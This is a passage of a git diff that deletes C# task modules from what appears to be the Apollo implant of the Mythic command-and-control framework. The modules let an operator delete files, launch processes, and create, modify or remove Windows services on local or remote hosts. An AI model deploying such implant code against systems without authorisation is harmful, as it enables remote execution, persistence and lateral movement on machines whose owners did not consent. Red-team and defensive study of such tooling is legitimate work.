_jsonSerializer.Deserialize(_data.Parameters); - string path = string.IsNullOrEmpty(parameters.File) - ? parameters.Path - : Path.Combine(new string[] {parameters.Path, parameters.File}); - string rmFilePath = path; - string host = parameters.Host; - string realPath = ""; - if (string.IsNullOrEmpty(host)) - { - host = Environment.GetEnvironmentVariable("COMPUTERNAME"); - } - else if (!localhostAliases.Contains(host.ToLower())) - { - if (!path.StartsWith("\\\\")) - { - path = $"\\\\{host}\\{path}"; - } - } - - if (rmFilePath.StartsWith("\\\\")) - { - string[] parts = rmFilePath.Split(new char[] {'\\'}, 4); - if (parts.Length != 4) - { - throw new Exception($"Failed to parse UNC path: {rmFilePath}"); - } - } - - - if (ApolloInterop.Utils.PathUtils.TryGetExactPath(path, out realPath)) - { - if (Directory.Exists(realPath)) - { - try - { - Directory.Delete(realPath, true); - resp = CreateTaskResponse( - $"Deleted {realPath}", true, "completed", new IMythicMessage[1] - { - Artifact.FileDelete(realPath) - }); - } - catch (Exception ex) - { - resp = CreateTaskResponse( - $"Failed to delete {realPath}: {ex.Message}", true, "error"); - } - } - else - { - try - { - File.Delete(realPath); - resp = CreateTaskResponse( - $"Deleted {realPath}", true, "completed", new IMythicMessage[1] - { - Artifact.FileDelete(realPath) - }); - } - catch (Exception ex) - { - resp = CreateTaskResponse( - $"Failed to delete {realPath}: {ex.Message}", true, "error"); - } - } - } - else - { - resp = CreateTaskResponse($"Cannot find file or folder: {parameters.Path}", true, "error"); - } - - - if (resp.Status == "completed") - { - resp.RemovedFiles = new RemovedFileInformation[1] - { - new RemovedFileInformation - { - Host = host, - Path = realPath - } - }; - } - - // Your code here.. - // Then add response to queue - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - } - } -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/run.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/run.cs deleted file mode 100644 index 34fc13d6..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/run.cs +++ /dev/null @@ -1,180 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define RUN -#endif - -#if RUN - -using ApolloInterop.Classes; -using ApolloInterop.Classes.Api; -using ApolloInterop.Classes.Core; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; -using System.Threading; - -namespace Tasks -{ - public class run : Tasking - { - [DataContract] - internal struct RunParameters - { - [DataMember(Name = "executable")] public string Executable; - [DataMember(Name = "arguments")] public string Arguments; - } - private delegate IntPtr CommandLineToArgvW( - [MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, - out int pNumArgs); - - private delegate IntPtr LocalFree(IntPtr hMem); - - private LocalFree _pLocalFree; - private CommandLineToArgvW _pCommandLineToArgvW; - - private AutoResetEvent _complete = new AutoResetEvent(false); - public run(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - _pLocalFree = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "LocalFree"); - _pCommandLineToArgvW = _agent.GetApi().GetLibraryFunction(Library.SHELL32, "CommandLineToArgvW"); - } - - public override void Start() - { - Process proc = null; - if (string.IsNullOrEmpty(_data.Parameters)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - "No command line arguments passed.", true, "error")); - } - else - { - RunParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - string mythiccmd = parameters.Executable; - if (!string.IsNullOrEmpty(parameters.Arguments)) - { - mythiccmd += " " + parameters.Arguments; - } - - string[] parts = ParseCommandLine(mythiccmd); - if (parts == null) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - $"Failed to parse command line: {Marshal.GetLastWin32Error()}", - true, - "error")); - } - else - { - string app = parts[0]; - string cmdline = null; - if (parts.Length > 1) - { - cmdline = mythiccmd.Replace(app, "").TrimStart(); - } - - proc = _agent.GetProcessManager().NewProcess(app, cmdline); - proc.OutputDataReceived += DataReceived; - proc.ErrorDataReceieved += DataReceived; - proc.Exit += Proc_Exit; - bool bRet = false; - bRet = proc.Start(); - if (!bRet) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - $"Failed to start process. Reason: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}", - true, - "error")); - } - else - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - "", false, "", new IMythicMessage[] - { - Artifact.ProcessCreate((int) proc.PID, app, cmdline) - })); - while(proc != null && !proc.HasExited && !_cancellationToken.IsCancellationRequested) - { - try - { - WaitHandle.WaitAny(new WaitHandle[] - { - _complete, - _cancellationToken.Token.WaitHandle, - }, 500); - } - catch (OperationCanceledException) - { - } - } - - if (proc != null && !proc.HasExited) - { - proc.Kill(); - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", true)); - } - } - } - } - } - - private void Proc_Exit(object sender, EventArgs e) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - "", true)); - _complete.Set(); - } - - private void DataReceived(object sender, ApolloInterop.Classes.Events.StringDataEventArgs e) - { - if (!string.IsNullOrEmpty(e.Data)) - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - e.Data, - false, - "")); - } - } - - private string[] ParseCommandLine(string cmdline) - { - int numberOfArgs; - IntPtr ptrToSplitArgs; - string[] splitArgs; - - ptrToSplitArgs = _pCommandLineToArgvW(cmdline, out numberOfArgs); - - // CommandLineToArgvW returns NULL upon failure. - if (ptrToSplitArgs == IntPtr.Zero) - return null; - - // Make sure the memory ptrToSplitArgs to is freed, even upon failure. - try - { - splitArgs = new string[numberOfArgs]; - - // ptrToSplitArgs is an array of pointers to null terminated Unicode strings. - // Copy each of these strings into our split argument array. - for (int i = 0; i < numberOfArgs; i++) - splitArgs[i] = Marshal.PtrToStringUni( - Marshal.ReadIntPtr(ptrToSplitArgs, i * IntPtr.Size)); - - return splitArgs; - } - catch - { - return null; - } - finally - { - // Free memory obtained by CommandLineToArgW. - _pLocalFree(ptrToSplitArgs); - } - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/sc.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/sc.cs deleted file mode 100644 index 43d3017a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/sc.cs +++ /dev/null @@ -1,1189 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define SC -#endif - -#if SC - -using ApolloInterop.Classes; -using ApolloInterop.Classes.Api; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using Microsoft.Win32.SafeHandles; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Globalization; -using System.Linq; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; -using System.Security.Permissions; -using ST = System.Threading.Tasks; -using System.ServiceProcess; - -namespace Tasks -{ - public class sc : Tasking - { - [DataContract] - internal struct ScParameters - { - [DataMember(Name = "query")] - public bool Query; - [DataMember(Name = "start")] - public bool Start; - [DataMember(Name = "stop")] - public bool Stop; - [DataMember(Name = "create")] - public bool Create; - [DataMember(Name = "delete")] - public bool Delete; - [DataMember(Name = "modify")] - public bool Modify; - [DataMember(Name = "computer")] - public string Computer; - [DataMember(Name = "service")] - public string Service; - [DataMember(Name = "display_name")] - public string DisplayName; - [DataMember(Name = "binpath")] - public string Binpath; - [DataMember(Name = "run_as")] - public string RunAs; - [DataMember(Name = "password")] - public string Password; - [DataMember(Name = "service_type")] - public string ServiceTypeParam; - [DataMember(Name = "start_type")] - public string StartType; - [DataMember(Name = "dependencies")] - public string[] Dependencies; - [DataMember(Name = "description")] - public string Description; - } - - [DataContract] - internal struct ServiceResult - { - [DataMember(Name = "display_name")] - public string DisplayName; - [DataMember(Name = "service")] - public string Service; - [DataMember(Name = "status")] - public string Status; - [DataMember(Name = "can_stop")] - public bool CanStop; - [DataMember(Name = "dependencies")] - public string[] Dependencies; - [DataMember(Name = "service_type")] - public string SvcType; - [DataMember(Name = "start_type")] - public string StartType; - [DataMember(Name = "description")] - public string Description; - [DataMember(Name = "computer")] - public string Computer; - [DataMember(Name = "binary_path")] - public string BinaryPath; - [DataMember(Name = "load_order_group")] - public string LoadOrderGroup; - [DataMember(Name = "run_as")] - public string RunAs; - [DataMember(Name = "error_control")] - public string ErrorControl; - [DataMember(Name = "pid")] - public string PID; - [DataMember(Name = "accepted_controls")] - public string[] AcceptedControls; - [DataMember(Name = "action")] - public string Action; - } - - #region typedefs - [StructLayout(LayoutKind.Sequential)] - private struct QUERY_SERVICE_CONFIG - { - public uint ServiceType; - public uint StartType; - public ServiceErrorControl ErrorControl; - public IntPtr BinaryPathName; - public IntPtr LoadOrderGroup; - public int TagID; - public IntPtr Dependencies; - public IntPtr StartName; - public IntPtr DisplayName; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct ServiceStatus - { - public static readonly int SizeOf = Marshal.SizeOf(typeof(ServiceStatus)); - public ServiceType dwServiceType; - public SERVICE_STATE dwCurrentState; - public uint dwControlsAccepted; - public uint dwWin32ExitCode; - public uint dwServiceSpecificExitCode; - public uint dwCheckPoint; - public uint dwWaitHint; - } - - [StructLayout(LayoutKind.Sequential)] - internal struct SERVICE_STATUS_PROCESS - { - public int serviceType; - public int currentState; - public int controlsAccepted; - public int win32ExitCode; - public int serviceSpecificExitCode; - public int checkPoint; - public int waitHint; - public int processId; - public int serviceFlags; - } - - [StructLayout(LayoutKind.Sequential, Pack = 4)] - public struct ENUM_SERVICE_STATUS_PROCESS - { - internal static readonly int SizePack4 = Marshal.SizeOf(typeof(ENUM_SERVICE_STATUS_PROCESS)); - - /// - /// sizeof(ENUM_SERVICE_STATUS_PROCESS) allow Packing of 8 on 64 bit machines - /// - internal static readonly int SizePack8 = Marshal.SizeOf(typeof(ENUM_SERVICE_STATUS_PROCESS)) + 4; - [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)] - internal string pServiceName; - [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)] - internal string pDisplayName; - internal SERVICE_STATUS_PROCESS ServiceStatus; - } - - [StructLayout( LayoutKind.Sequential )] - public class SERVICE_DESCRIPTION - { - [MarshalAs( System.Runtime.InteropServices.UnmanagedType.LPWStr )] - public String lpDescription; - } - - #endregion - - #region enums - [Flags] - public enum AccessMask : uint - { - DELETE = 0x00010000, - - READ_CONTROL = 0x00020000, - - WRITE_DAC = 0x00040000, - - WRITE_OWNER = 0x00080000, - - SYNCHRONIZE = 0x00100000, - - STANDARD_RIGHTS_REQUIRED = 0x000F0000, - - STANDARD_RIGHTS_READ = 0x00020000, - - STANDARD_RIGHTS_WRITE = 0x00020000, - - STANDARD_RIGHTS_EXECUTE = 0x00020000, - - STANDARD_RIGHTS_ALL = 0x001F0000, - - SPECIFIC_RIGHTS_ALL = 0x0000FFFF, - - ACCESS_SYSTEM_SECURITY = 0x01000000, - - MAXIMUM_ALLOWED = 0x02000000, - - GENERIC_READ = 0x80000000, - - GENERIC_WRITE = 0x40000000, - - GENERIC_EXECUTE = 0x20000000, - - GENERIC_ALL = 0x10000000, - - DESKTOP_READOBJECTS = 0x00000001, - - DESKTOP_CREATEWINDOW = 0x00000002, - - DESKTOP_CREATEMENU = 0x00000004, - - DESKTOP_HOOKCONTROL = 0x00000008, - - DESKTOP_JOURNALRECORD = 0x00000010, - - DESKTOP_JOURNALPLAYBACK = 0x00000020, - - DESKTOP_ENUMERATE = 0x00000040, - - DESKTOP_WRITEOBJECTS = 0x00000080, - - DESKTOP_SWITCHDESKTOP = 0x00000100, - - WINSTA_ENUMDESKTOPS = 0x00000001, - - WINSTA_READATTRIBUTES = 0x00000002, - - WINSTA_ACCESSCLIPBOARD = 0x00000004, - - WINSTA_CREATEDESKTOP = 0x00000008, - - WINSTA_WRITEATTRIBUTES = 0x00000010, - - WINSTA_ACCESSGLOBALATOMS = 0x00000020, - - WINSTA_EXITWINDOWS = 0x00000040, - - WINSTA_ENUMERATE = 0x00000100, - - WINSTA_READSCREEN = 0x00000200, - - WINSTA_ALL_ACCESS = 0x0000037F - } - - [Flags] - public enum SCMAccess : uint - { - /// - /// Required to connect to the service control manager. - /// - SC_MANAGER_CONNECT = 0x00001, - - /// - /// Required to call the CreateService function to create a service - /// object and add it to the database. - /// - SC_MANAGER_CREATE_SERVICE = 0x00002, - - /// - /// Required to call the EnumServicesStatusEx function to list the - /// services that are in the database. - /// - SC_MANAGER_ENUMERATE_SERVICE = 0x00004, - - /// - /// Required to call the LockServiceDatabase function to acquire a - /// lock on the database. - /// - SC_MANAGER_LOCK = 0x00008, - - /// - /// Required to call the QueryServiceLockStatus function to retrieve - /// the lock status information for the database. - /// - SC_MANAGER_QUERY_LOCK_STATUS = 0x00010, - - /// - /// Required to call the NotifyBootConfigStatus function. - /// - SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020, - - /// - /// Includes STANDARD_RIGHTS_REQUIRED, in addition to all access - /// rights in this table. - /// - SC_MANAGER_ALL_ACCESS = - AccessMask.STANDARD_RIGHTS_REQUIRED | SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_LOCK | SC_MANAGER_QUERY_LOCK_STATUS - | SC_MANAGER_MODIFY_BOOT_CONFIG, - - GENERIC_READ = AccessMask.STANDARD_RIGHTS_READ | SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_QUERY_LOCK_STATUS, - - GENERIC_WRITE = AccessMask.STANDARD_RIGHTS_WRITE | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_MODIFY_BOOT_CONFIG, - - GENERIC_EXECUTE = AccessMask.STANDARD_RIGHTS_EXECUTE | SC_MANAGER_CONNECT | SC_MANAGER_LOCK, - - GENERIC_ALL = SC_MANAGER_ALL_ACCESS, - } - - [Flags] - public enum ServiceControl : uint - { - STOP = 0x00000001, - - PAUSE = 0x00000002, - - CONTINUE = 0x00000003, - - INTERROGATE = 0x00000004, - - SHUTDOWN = 0x00000005, - - PARAMCHANGE = 0x00000006, - - NETBINDADD = 0x00000007, - - NETBINDREMOVE = 0x00000008, - - NETBINDENABLE = 0x00000009, - - NETBINDDISABLE = 0x0000000A, - - DEVICEEVENT = 0x0000000B, - - HARDWAREPROFILECHANGE = 0x0000000C, - - POWEREVENT = 0x0000000D, - - SESSIONCHANGE = 0x0000000E - } - - [Flags] - public enum ServiceAccess : uint - { - STANDARD_RIGHTS_REQUIRED = 0xF0000, - - SERVICE_QUERY_CONFIG = 0x00001, - - SERVICE_CHANGE_CONFIG = 0x00002, - - SERVICE_QUERY_STATUS = 0x00004, - - SERVICE_ENUMERATE_DEPENDENTS = 0x00008, - - SERVICE_START = 0x00010, - - SERVICE_STOP = 0x00020, - - SERVICE_PAUSE_CONTINUE = 0x00040, - - SERVICE_INTERROGATE = 0x00080, - - SERVICE_USER_DEFINED_CONTROL = 0x00100, - - SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SERVICE_QUERY_CONFIG | SERVICE_CHANGE_CONFIG - | SERVICE_QUERY_STATUS | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_START | SERVICE_STOP - | SERVICE_PAUSE_CONTINUE | SERVICE_INTERROGATE | SERVICE_USER_DEFINED_CONTROL) - } - - [Flags] - public enum ServiceType : uint - { - SERVICE_KERNEL_DRIVER = 0x1, - SERVICE_FILE_SYSTEM_DRIVER = 0x2, - SERVICE_WIN32_OWN_PROCESS = 0x10, - SERVICE_WIN32_SHARE_PROCESS = 0x20, - SERVICE_INTERACTIVE_PROCESS = 0x100, - SERVICETYPE_NO_CHANGE = 0x0, - SERVICE_WIN32 = (SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS) - } - - public enum ServiceErrorControl : int - { - /// - /// The startup program logs the error in the event log, if possible. If the last-known-good configuration is being started, the startup operation fails. Otherwise, the system is restarted with the last-known good configuration. - /// - SERVICE_ERROR_CRITICAL = 0x00000003, - - /// - /// The startup program ignores the error and continues the startup operation. - /// - SERVICE_ERROR_IGNORE = 0x00000000, - - /// - /// The startup program logs the error in the event log but continues the startup operation. - /// - SERVICE_ERROR_NORMAL = 0x00000001, - - /// - /// The startup program logs the error in the event log. If the last-known-good configuration is being started, the startup operation continues. Otherwise, the system is restarted with the last-known-good configuration. - /// - SERVICE_ERROR_SEVERE = 0x00000002, - } - - public enum ServiceStartType : uint - { - /// - /// A service started automatically by the service control manager during system startup. For more information, see Automatically Starting Services. - /// - SERVICE_AUTO_START = 0x00000002, - - /// - /// A device driver started by the system loader. This value is valid only for driver services. - /// - SERVICE_BOOT_START = 0x00000000, - - /// - /// A service started by the service control manager when a process calls the StartService function. For more information, see Starting Services on Demand. - /// - SERVICE_DEMAND_START = 0x00000003, - - /// - /// A service that cannot be started. Attempts to start the service result in the error code ERROR_SERVICE_DISABLED. - /// - SERVICE_DISABLED = 0x00000004, - - /// - /// A device driver started by the IoInitSystem function. This value is valid only for driver services. - /// - SERVICE_SYSTEM_START = 0x00000001 - - } - - public enum SERVICE_STATE : uint - { - SERVICE_STOPPED = 0x00000001, - - SERVICE_START_PENDING = 0x00000002, - - SERVICE_STOP_PENDING = 0x00000003, - - SERVICE_RUNNING = 0x00000004, - - SERVICE_CONTINUE_PENDING = 0x00000005, - - SERVICE_PAUSE_PENDING = 0x00000006, - - SERVICE_PAUSED = 0x00000007 - } - - public enum ServiceInfoLevel { - SC_ENUM_PROCESS_INFO = 0, - SC_STATUS_PROCESS_INFO = 0 - } - - public enum ServiceStateRequest { - SERVICE_ACTIVE = 0x1, - SERVICE_INACTIVE = 0x2, - SERVICE_STATE_ALL = (SERVICE_ACTIVE | SERVICE_INACTIVE) - } - - public enum ConfigInfoLevel { - SERVICE_CONFIG_DESCRIPTION = 0x01, - SERVICE_CONFIG_FAILURE_ACTIONS = 0x02, - SERVICE_CONFIG_DELAYED_AUTO_START_INFO = 0x03, - SERVICE_CONFIG_FAILURE_ACTIONS_FLAG = 0x04, - SERVICE_CONFIG_SERVICE_SID_INFO = 0x05, - SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO = 0x06, - SERVICE_CONFIG_PRESHUTDOWN_INFO = 0x07, - SERVICE_CONFIG_PREFERRED_NODE = 0x09, - SERVICE_CONFIG_TRIGGER_INFO = 0x08, - SERVICE_CONFIG_LAUNCH_PROTECTED = 0x0C - } - - [Flags] - internal enum ServiceState : int - { - SERVICE_CONTINUE_PENDING= 0x00000005, - SERVICE_PAUSE_PENDING = 0x00000006, - SERVICE_PAUSED = 0x00000007, - SERVICE_RUNNING = 0x00000004, - SERVICE_START_PENDING = 0x00000002, - SERVICE_STOP_PENDING = 0x00000003, - SERVICE_STOPPED = 0x00000001 - } - - [Flags] - internal enum CONTROLS_ACCEPTED : int - { - SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010, - SERVICE_ACCEPT_PARAMCHANGE = 0x00000008, - SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002, - SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100, - SERVICE_ACCEPT_SHUTDOWN = 0x00000004, - SERVICE_ACCEPT_STOP = 0x00000001, - - // supported only by HandlerEx - SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020, - SERVICE_ACCEPT_POWEREVENT = 0x00000040, - SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080, - SERVICE_ACCEPT_TIMECHANGE = 0x00000200, - SERVICE_ACCEPT_TRIGGEREVENT = 0x00000400, - SERVICE_ACCEPT_USERMODEREBOOT = 0x00000800, - } - #endregion - - #region Delegates - - private delegate bool CloseServiceHandle(IntPtr hService); - private static CloseServiceHandle _pCloseServiceHandle = null; - - private delegate ServiceControlHandle OpenSCManager(string lpMachineName, string lpSCDB, SCMAccess scParameter); - private static OpenSCManager _pOpenSCManager = null; - - private delegate ServiceControlHandle CreateService( - ServiceControlHandle serviceControlManagerHandle, - string lpSvcName, - string lpDisplayName, - ServiceAccess dwDesiredAccess, - ServiceType dwServiceType, - ServiceStartType dwStartType, - ServiceErrorControl dwErrorControl, - string lpPathName, - string lpLoadOrderGroup, - IntPtr lpdwTagId, - string lpDependencies, - string lpServiceStartName, - string lpPassword); - private static CreateService _pCreateService = null; - - private delegate bool ControlService(ServiceControlHandle hService, ServiceControl dwControl, ref ServiceStatus lpServiceStatus); - private static ControlService _pControlService = null; - - private delegate int StartService(ServiceControlHandle serviceHandle, int dwNumServiceArgs, string lpServiceArgVectors); - private static StartService _pStartService = null; - - private delegate ServiceControlHandle OpenService(ServiceControlHandle hSCManager, string lpServiceName, ServiceAccess dwDesiredAccess); - private static OpenService _pOpenService = null; - - private delegate int DeleteService(ServiceControlHandle hServiceControl); - private static DeleteService _pDeleteService = null; - - private delegate bool QueryServiceConfig2( - ServiceControlHandle hService, - ConfigInfoLevel dwInfoLevel, - IntPtr buffer, - uint cbBufSize, - out uint pcbBytesNeeded); - private static QueryServiceConfig2 _pQueryServiceConfig2 = null; - - private delegate bool QueryServiceConfig( - ServiceControlHandle hService, - IntPtr intPtrQueryConfig, - uint cbBufSize, - out uint pcbBytesNeeded); - private static QueryServiceConfig _pQueryServiceConfig = null; - - private delegate bool EnumServicesStatusEx( - ServiceControlHandle hSCManager, - ServiceInfoLevel infoLevel, - int dwServiceType, - int dwServiceState, - IntPtr lpServices, - uint cbBufSize, - out uint pcbBytesNeeded, - out uint lpServicesReturned, - ref uint lpResumeHandle, - string pszGroupName); - private static EnumServicesStatusEx _pEnumServicesStatusEx = null; - - private delegate bool ChangeServiceConfig( - ServiceControlHandle hService, - uint nServiceType, - uint nStartType, - uint nErrorControl, - string lpBinaryPathName, - string lpLoadOrderGroup, - IntPtr lpdwTagId, - string lpDependencies, - string lpServiceStartName, - string lpPassword, - string lpDisplayName); - private static ChangeServiceConfig _pChangeServiceConfig = null; - - private delegate bool ChangeServiceConfig2(ServiceControlHandle hService, ConfigInfoLevel dwInfoLevel, IntPtr lpInfo); - private static ChangeServiceConfig2 _pChangeServiceConfig2 = null; - - #endregion - - public sc(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) - { - if (_pDeleteService == null) - { - _pDeleteService = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "DeleteService"); - } - if (_pOpenService == null) - { - _pOpenService = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenServiceA"); - } - if (_pStartService == null) - { - _pStartService = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "StartServiceA"); - } - if (_pCloseServiceHandle == null) - { - _pCloseServiceHandle = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CloseServiceHandle"); - } - if (_pOpenSCManager == null) - { - _pOpenSCManager = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenSCManagerA"); - } - if (_pCreateService == null) - { - _pCreateService = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateServiceA"); - } - if (_pControlService == null) - { - _pControlService = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ControlService"); - } - if (_pEnumServicesStatusEx == null) - { - _pEnumServicesStatusEx = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "EnumServicesStatusExW"); - } - if (_pQueryServiceConfig2 == null) - { - _pQueryServiceConfig2 = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "QueryServiceConfig2W"); - } - if (_pQueryServiceConfig == null) - { - _pQueryServiceConfig = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "QueryServiceConfigW"); - } - if (_pQueryServiceConfig2 == null) - { - _pQueryServiceConfig2 = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "QueryServiceConfig2W"); - } - if (_pChangeServiceConfig == null) - { - _pChangeServiceConfig = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ChangeServiceConfigA"); - } - if (_pChangeServiceConfig2 == null) - { - _pChangeServiceConfig2 = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ChangeServiceConfig2W"); - } - } - - [SecurityPermission(SecurityAction.InheritanceDemand, UnmanagedCode = true)] - [SecurityPermission(SecurityAction.Demand, UnmanagedCode = true)] - public class ServiceControlHandle : SafeHandleZeroOrMinusOneIsInvalid - { - // Create a SafeHandle, informing the base class - // that this SafeHandle instance "owns" the handle, - // and therefore SafeHandle should call - // our ReleaseHandle method when the SafeHandle - // is no longer in use. - private ServiceControlHandle() - : base(true) - { - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] - protected override bool ReleaseHandle() { - // Here, we must obey all rules for constrained execution regions. - return _pCloseServiceHandle(this.handle); - // If ReleaseHandle failed, it can be reported via the - // "releaseHandleFailed" managed debugging assistant (MDA). This - // MDA is disabled by default, but can be enabled in a debugger - // or during testing to diagnose handle corruption problems. - // We do not throw an exception because most code could not recover - // from the problem. - } - } - - private void ValidateParameters(ScParameters args) - { - if (args.Start) - { - if (string.IsNullOrEmpty(args.Service)) - { - throw new Exception("Start action requires service name to start."); - } - } else if (args.Stop) - { - if (string.IsNullOrEmpty(args.Service)) - { - throw new Exception("Stop action requires service name to stop."); - } - } else if (args.Query) - { - - } else if (args.Create) - { - if (string.IsNullOrEmpty(args.Service)) - { - throw new Exception("Create action requires service name to create."); - } else if (string.IsNullOrEmpty(args.Binpath)) - { - throw new Exception("Create action requires binpath to new service binary."); - } - } else if (args.Delete) - { - if (string.IsNullOrEmpty(args.Service)) - { - throw new Exception("Delete action requires service name to delete."); - } - } - else if (args.Modify) - { - if (string.IsNullOrEmpty(args.Service)) - { - throw new Exception("Modify action requires service name to create."); - } else if (string.IsNullOrEmpty(args.Binpath) && string.IsNullOrEmpty(args.DisplayName) && string.IsNullOrEmpty(args.RunAs) && string.IsNullOrEmpty(args.ServiceTypeParam) && string.IsNullOrEmpty(args.StartType)) - { - if (args.ServiceTypeParam == "SERVICE_NO_CHANGE" && args.StartType == "SERVICE_NO_CHANGE") { - throw new Exception("Modify action requires parameter to modify."); - } - } - } - else - { - throw new Exception("No valid action given for sc."); - } - } - - private static bool InstallService(string hostname, string ServiceName, string ServiceDisplayName, string ServiceEXE) - { - try - { - UninstallService(hostname, ServiceName); - } - catch (Exception) { } - // Console.WriteLine("[*] Attempting to create service {0} on {1}...", ServiceName, hostname); - ServiceControlHandle scmHandle = _pOpenSCManager(hostname, null, SCMAccess.SC_MANAGER_CREATE_SERVICE); - if (scmHandle.IsInvalid) - { - throw new Exception($"Failed to open SCM: {new Win32Exception().Message}"); - } - - ServiceControlHandle serviceHandle = _pCreateService( - scmHandle, - ServiceName, - ServiceDisplayName, - ServiceAccess.SERVICE_ALL_ACCESS, - ServiceType.SERVICE_WIN32_OWN_PROCESS, - ServiceStartType.SERVICE_AUTO_START, - ServiceErrorControl.SERVICE_ERROR_NORMAL, - ServiceEXE, - null, - IntPtr.Zero, - null, - null, - null); - - if (serviceHandle.IsInvalid) - { - throw new Exception($"ServiceHandle is invalid: {new Win32Exception().Message}"); - } - - return true; - } - - private static bool UninstallService(string hostname, string ServiceName) { - ServiceControlHandle scmHandle = _pOpenSCManager(hostname, null, SCMAccess.SC_MANAGER_CREATE_SERVICE); - - if (scmHandle.IsInvalid) - { - throw new Exception($"Failed to open SCM: {new Win32Exception().Message}"); - } - - ServiceControlHandle serviceHandle = _pOpenService(scmHandle, ServiceName, ServiceAccess.SERVICE_ALL_ACCESS); - if (serviceHandle.IsInvalid) - { - throw new Exception($"ServiceHandle is invalid: {new Win32Exception().Message}"); - } - - _pDeleteService(serviceHandle); - return true; - } - - private static ENUM_SERVICE_STATUS_PROCESS[] GetServiceStatuses(IntPtr buf, uint iServicesReturned) { - ENUM_SERVICE_STATUS_PROCESS serviceStatus; - List services = new List(); - - // check if 64 bit system which has different pack sizes - if (IntPtr.Size == 8) - { - long pointer = buf.ToInt64(); - for (int i = 0; i < (int)iServicesReturned; i++) - { - serviceStatus = (ENUM_SERVICE_STATUS_PROCESS)Marshal.PtrToStructure(new IntPtr(pointer), - typeof(ENUM_SERVICE_STATUS_PROCESS)); - services.Add(serviceStatus); - - // increment by sizeof(ENUM_SERVICE_STATUS_PROCESS) allow Packing of 8 - pointer += ENUM_SERVICE_STATUS_PROCESS.SizePack8; - } - } else { - int pointer = buf.ToInt32(); - for (int i = 0; i < (int)iServicesReturned; i++) { - - serviceStatus = (ENUM_SERVICE_STATUS_PROCESS)Marshal.PtrToStructure(new IntPtr(pointer), - typeof(ENUM_SERVICE_STATUS_PROCESS)); - services.Add(serviceStatus); - - // increment by sizeof(ENUM_SERVICE_STATUS_PROCESS) allow Packing of 4 - pointer += ENUM_SERVICE_STATUS_PROCESS.SizePack4; - } - } - - return services.ToArray(); - } - - private static string GetServiceDescription(ServiceControlHandle serviceHandle) - { - // Determine the buffer size needed - _pQueryServiceConfig2(serviceHandle, ConfigInfoLevel.SERVICE_CONFIG_DESCRIPTION, IntPtr.Zero, 0, out uint dwBytesNeeded); - - IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded); - bool success = _pQueryServiceConfig2(serviceHandle, ConfigInfoLevel.SERVICE_CONFIG_DESCRIPTION, ptr, dwBytesNeeded, out dwBytesNeeded); - if (!success) { - return null; - } - - SERVICE_DESCRIPTION sd = new SERVICE_DESCRIPTION(); - Marshal.PtrToStructure( ptr, sd ); - - if (ptr != IntPtr.Zero) - Marshal.FreeHGlobal( ptr ); - - return sd.lpDescription; - } - - private static bool SetServiceDescription(ServiceControlHandle serviceHandle, string description) { - SERVICE_DESCRIPTION sd = new SERVICE_DESCRIPTION { - lpDescription = description - }; - IntPtr ptr = 